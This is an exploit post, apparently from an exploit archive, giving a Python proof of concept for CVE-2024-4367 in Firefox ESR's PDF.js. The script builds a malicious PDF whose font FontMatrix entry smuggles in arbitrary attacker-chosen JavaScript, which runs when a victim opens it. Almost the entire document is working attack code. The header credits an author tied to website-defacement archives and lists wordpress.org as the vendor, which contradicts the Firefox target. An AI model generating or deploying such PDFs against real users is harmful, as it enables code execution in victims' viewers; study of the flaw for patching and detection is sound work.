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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 | # Exploit Title: Firefox ESR 115.11 - Arbitrary JavaScript execution in PDF.js # Date: 2025-04-16 # Exploit Author: Milad Karimi (Ex3ptionaL) # Contact: miladgrayhat@gmail.com # Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL # MiRROR-H: https://mirror-h.org/search/hacker/49626/ # Vendor Homepage: https://wordpress.org # Version: = 115.11 # Tested on: Win, Ubuntu # CVE : CVE-2024-4367 #!/usr/bin/env python3 import sys def generate_payload(payload): backslash_char = "\\" fmt_payload = payload.replace('(', '\\(').replace(')', '\\)') font_matrix = f"/FontMatrix [0.1 0 0 0.1 0 (1{backslash_char});\n" + f"{fmt_payload}" + "\n//)]" return f""" %PDF-1.4 %DUMMY 8 0 obj << /PatternType 2 /Shading<< /Function<< /Domain[0 1] /C0[0 0 1] /C1[1 0.6 0] /N 1 /FunctionType 2 >> /ShadingType 2 /Coords[46 400 537 400] /Extend[false false] /ColorSpace/DeviceRGB >> /Type/Pattern >> endobj 5 0 obj << /Widths[573 0 582 0 548 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 573 0 573 0 341] /Type/Font /BaseFont/PAXEKO+SourceSansPro-Bold /LastChar 102 /Encoding/WinAnsiEncoding {font_matrix} /Subtype/Type1 /FirstChar 65 /FontDescriptor 9 0 R >> endobj 2 0 obj << /Kids[3 0 R] /Type/Pages /Count 1 >> endobj 9 0 obj << /Type/FontDescriptor /ItalicAngle 0 /Ascent 751 /FontBBox[-6 -12 579 713] /FontName/PAXEKO+SourceSansPro-Bold /StemV 100 /CapHeight 713 /Flags 32 /FontFile3 10 0 R /Descent -173 /MissingWidth 250 >> endobj 6 0 obj << /Length 128 >> stream 47 379 489 230 re S /Pattern cs BT 50 500 Td 117 TL /F1 150 Tf /P1 scn (AbCdEf) Tj /P2 scn (AbCdEf) ' ET endstream endobj 3 0 obj << /Type/Page /Resources 4 0 R /Contents 6 0 R /Parent 2 0 R /MediaBox[0 0 595.2756 841.8898] >> endobj 10 0 obj << /Length 800 /Subtype/Type2 >> stream endstream endobj 7 0 obj << /PatternType 1 /Matrix[1 0 0 1 50 0] /Length 58 /TilingType 1 /BBox[0 0 16 16] /YStep 16 /PaintType 1 /Resources<< >> /XStep 16 >> stream 0.65 g 0 0 16 16 re f 0.15 g 0 0 8 8 re f 8 8 8 8 re f endstream endobj 4 0 obj << /Pattern<< /P1 7 0 R /P2 8 0 R >> /Font<< /F1 5 0 R >> >> endobj 1 0 obj << /Pages 2 0 R /Type/Catalog /OpenAction[3 0 R /Fit] >> endobj xref 0 11 0000000000 65535 f 0000002260 00000 n 0000000522 00000 n 0000000973 00000 n 0000002178 00000 n 0000000266 00000 n 0000000794 00000 n 0000001953 00000 n 0000000015 00000 n 0000000577 00000 n 0000001085 00000 n trailer << /ID[(DUMMY) (DUMMY)] /Root 1 0 R /Size 11 >> startxref 2333 %%EOF """ if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <payload>") sys.exit(1) print("[+] Created malicious PDF file: poc.pdf") print("[+] Open the file with the vulnerable application to trigger the exploit.") payload = generate_payload( sys.argv[1]) with open("poc.pdf", "w") as f: f.write(payload) sys.exit(0) |
体验盒子
